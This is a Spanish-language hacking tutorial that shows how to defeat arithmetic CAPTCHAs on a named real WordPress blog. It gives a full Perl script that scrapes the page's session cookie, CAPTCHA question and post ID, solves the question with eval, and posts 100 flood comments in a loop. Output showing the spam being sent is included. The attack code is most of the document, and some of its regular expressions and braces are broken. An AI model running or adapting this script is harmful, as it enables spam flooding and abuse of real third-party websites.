

# Bypass CAPTCHA aritmético

¿Qué es el CAPTCHA?

El **CAPTCHA** es una prueba-desafío con el fin de identificar si el usuario de un servicio es un ser humano o una computadora.

Estas pruebas son utilizadas para evitar que robots tengan acceso a ciertos servicios y aprovechen su ventaja de automatización para spamear o comprometer un sistema.

La prueba consiste en crear desafíos que una maquina se supone no debería de ser capaz de superar, por ejemplo:

Escribir la secuencia de caracteres que aparecen en una imagen.



Contestar una pregunta lógica aleatoria.

**¿De qué color es el caballo blanco de napoleón?**

Resolver una operación aritmética aleatoria.

**Cuál es el resultado de  $13 + 37...$**

Entre otros.

Últimamente navegando en la red me encontré con varias páginas que están usando un CAPTCHA aritmético que como antes dije consiste en encontrar el resultado de una sencilla operación matemática.

El uso de este se debe a que muchos usuarios se quejan de no entender las secuencias de caracteres en imágenes, sin embargo esto trae un problema mayor el cual no reside en el tipo de prueba si no en la forma en que se la presentan al usuario.

Normalmente cuando nos piden llenar una secuencia de caracteres de una imagen solo podemos identificar dichos caracteres por medio de la vista, sin embargo con los CAPTCHA aritmético cometieron el error de colocar la operación en el código HTML.

A continuación propongo una forma de superar estas pruebas con ayuda de un sencillo programa en perl y como pagina de prueba usare un blog WordPress que me encontré por ahí (<http://www.elcodigok.com.ar/>).

Archivo Editar Ver Historial Marcadores Herramientas Ayuda

http://www.elcodigok.com.ar/2010/01/la-prueba-del-spam/comment-page-1/

Más visitados Comenzar a usar Fire... Últimas noticias

El CoDiGo K » La prueba del SPAM

# El CoDiGo K

irb(main):001:0> # puts "Programación, m4t3m4t1c45 y tiempo Free"

home

## La prueba del SPAM

Por DANIEL M. MALDONADO el 15 de Enero 2010. Leído 240 veces.



En este tiempo me encontré refinando en uno de los servidores de correo que administro, específicamente su sistema detector de SPAM llamado [SpamAssassin](#), un excelente detector de SPAM utilizando filtros Bayesianos, blacklist, bases de datos, etc.

Entonces me preguntaba si existía un mail de prueba para comprobar que SpamAssassin esta actuando correctamente y me encontré con el siguiente mail, que yo la denomino "la prueba del SPAM"

Para hacer uso del mismo copiamos el siguiente texto y lo enviamos por mail, el detector de SPAM tiene que ser capaz de reconocer que se trata de un SPAM, caso contrario debemos ajustar algunos tornillos en la configuración.

```
1 This is the GTUBE, the
2 generic
3 test for
4 unsolicited
5 bulk
```

Escribe el resultado de: 7 + 10

SEND MY COMMENT!

## [+] Obteniendo el código fuente de la página.

Lo primero que hacemos es obtener el código fuente de algún artículo de la página donde queramos llenar de comentarios.

Para la lectura de código fuente aremos un llamado mediante SOCKETS y leeremos línea por línea para que con ayuda de expresiones regulares obtengamos la cookie en la que se almacena nuestra sesión activa, la operación aritmética de prueba y algún campo "hidden" que contenga el id del artículo.

```
use IO::Socket;
$host = "www.elcodigok.com.ar"; #URL de la pagina
$path = "2010/01/la-prueba-del-spam/"; # URL del articulo
# Expresion regular de la operacion aritmetica de captcha
$expresion_captcha = "(<label for=\"answer\">Escribe el resultado de: (.*)</label>>";
# Expresion regular del input que contiene el id del articulo
$id_post = '(<input type="hidden" name="comment_post_ID" value="(.)" />';
my $remote = IO::Socket::INET->new(Proto    => "tcp",
                                   PeerAddr  => $host,
                                   PeerPort  => "http(80)");

unless ($remote) { die "[+] No se puede conectar al host $host \n" }

$remote->autoflush(1);

print $remote "GET /".$path." HTTP/1.1\nHOST: ".$host." \n\n";

while(<$remote>)
{
    $linea = $_;
    #Expresion regular para obtener la cookie
    if($linea =~ /(Set-Cookie: (.*)=(.*/i)
    {
        $cookiename = $2;
        $cookie = $3;
        #Valor de la cookie viva en nuestra sesion
    }

    if ($linea =~ /$expresion_captcha/i)
    {
        $operacion=$2;
        eval "\$result = $operacion";
        #Aquí se resuelve la operación del captcha xD
    }

    if ($linea =~ /$id_post/i)
    {
        $id=$2;
        #Id del articulo
    }
}
```

Con esto obtenemos la información necesaria ahora con ayuda de la librería UserAgente de Perl aremos una petición POST a la página ACTION del formulario de los comentarios.

Enviamos una cadena POSTDATA con todas las variables necesarias para publicar el mensaje además de pasar el sesion ID de la cookie que obtubimos con el socket.

```
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use HTTP::Request::Common;
use HTTP::Cookies;
$submit = "http://www.elcodigok.com.ar/wp-comments-post.php";
# URL del registro de comentarios
$proxy = ""; #Por si usamos proxy
my $useragent = LWP::UserAgent->new();
$useragent->agent("Sombrero de paja Molder");
if($proxy ne "")
{
    $useragent->proxy(['http', 'ftp'], 'http://'.$proxy.'/');
    $useragent->no_proxy('localhost');
}
$useragent->timeout(30);
my $cookie_jar = HTTP::Cookies->new;
$cookie_jar->set_cookie(undef,$cookie,$cookie,'',$host,'80');
$useragent->cookie_jar($cookie_jar);
my $respuesta = $useragent->request(POST $submit,[
"author"      => "Sombrero de paja Molder",
"email"       => "ussiel@gmail.com",
"url"         => "",
"comment"     => "Flood by Sombrero de paja molder | Aztlan-Hack I. S. T. | http://www.aztlan-
hack.org ".$x,
"answer"      => $result,
"comment_post_ID" => $id,
"submit"      => "Submit+Comment"]);
```

Con esto hemos resuelto el problema del captcha ahora para hacer el flood solo basta meter el codigo en algún ciclo, para el caso particular de Word press es necesario cambiar el mensaje con algún parámetro aleatorio ya que valida similitud del mensajes y nos dira que ese mensaje se envio anteriormente.

Programa en ejecucion:

+) Iniciando Flooding...

```
[*] Mensaje enviado captcha: 4 + 1 = 5
[*] Mensaje enviado captcha: 8 + 3 = 11
[*] Mensaje enviado captcha: 6 + 5 = 11
[*] Mensaje enviado captcha: 4 + 4 = 8
[*] Mensaje enviado captcha: 4 + 8 = 12
[*] Mensaje enviado captcha: 8 + 4 = 12
[*] Mensaje enviado captcha: 10 + 5 = 15
[*] Mensaje enviado captcha: 3 + 10 = 13
```



Powered by Sombrero de paja Molder

Aztlan Hack <http://www.aztlan-hack.org>

Email: [molder@aztlan-hack.org](mailto:molder@aztlan-hack.org)

msn: [molder@aztlan-hack.org](msn:molder@aztlan-hack.org)

## Código Fuente Completo:

```
#Sombrero de paja molder
#Azltan Hack
#15 feb 2010
#http://www.aztlan-hack.org
#email: molder@aztlan-hack.org
#msn: molder@aztlan-hack.org
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use HTTP::Request::Common;
use IO::Socket;
use HTTP::Cookies;
$proxy = "";
$host = "www.elcodigok.com.ar"; #URL de la pagina
$path = "2010/01/la-prueba-del-spam/"; # URL del articulo
$submit = "http://www.elcodigok.com.ar/wp-comments-post.php"; # URL del registro de
comentarios
# Expresion regular de la operacion aritmetica de captcha
$expresion_captcha = "(<label for=\"answer\">Escribe el resultado de: (.*)</label>";
# Expresion regular del input que contiene el id del articulo
$id_post = '(<input type="hidden" name="comment_post_ID" value="(.)" />';
print "[+] Iniciando Flooding...\n";
for($x=0;$x <=100;$x++)
{
    my $remote = IO::Socket::INET->new( Proto => "tcp",
                                        PeerAddr => $host,
                                        PeerPort=> "http(80)",
                                        );

    unless ($remote) { die "[+] No se puede conectar al host $host \n" }
    $remote->autoflush(1);
    print $remote "GET /".$path." HTTP/1.1\nHOST: ".$host." \n\n";
    while(<$remote>)
    {
        $linea = $_;
        if($linea =~ /(Set-Cookie: (.*)=(.*/i)
        {
            $cookiename = $2;
            $cookie = $3;
        }
        if ($linea =~ /$expresion_captcha/i)
        {
            $operacion=$2;
            eval "\$result = $operacion";
        }
    }
}
```

```

if ($linea =~ /$id_post/i)
{
    $id=$2;
}
if($id ne "" && $cookie ne "" && $result ne "")
{
    my $useragent = LWP::UserAgent->new();
    $useragent->agent("Sombrero de paja Molder");
    if($proxy ne "")
    {
        $useragent->proxy(['http', 'ftp'], 'http://'.$proxy.'/');
        $useragent->no_proxy('localhost');
    }
    $useragent->timeout(30);
    my $cookie_jar = HTTP::Cookies->new;
    $cookie_jar->set_cookie(undef,$cookie,$cookie,'',$host,'80');
    $useragent->cookie_jar($cookie_jar);
    my $respuesta = $useragent->request(POST $submit,[
    "author"          => "Sombrero de paja Molder",
    "email"           => "ussiel@gmail.com",
    "url"             => "",
    "comment"        => "Flood by Sombrero de paja molder | Aztlan-Hack I. S. T.
| http://www.aztlan-hack.org ".$x,
    "answer"          => $result,
    "comment_post_ID" => $id,
    "submit"          => "Submit+Comment"]);

    print "\t[*] Mensaje enviado captcha: $operacion = $result\n";
    print $respuesta->content;
    $id = "";
    $cookie = "";
    $result = "";
}
}
}
print "[+] Fin del programa\n";

```